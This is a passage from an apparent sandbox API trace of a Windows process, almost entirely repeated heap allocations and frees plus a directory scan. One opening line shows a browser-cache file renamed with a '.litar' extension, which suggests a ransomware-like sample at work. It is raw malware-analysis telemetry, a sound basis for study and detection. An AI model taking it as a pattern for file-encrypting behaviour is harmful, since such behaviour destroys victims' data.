halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.litar")) returned 1 [0127.973] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.973] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aef38 | out: hHeap=0x5c0000) returned 1 [0127.974] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 0 [0127.974] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020cc8 | out: hHeap=0x5c0000) returned 1 [0127.974] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020cc8 [0127.974] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.976] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 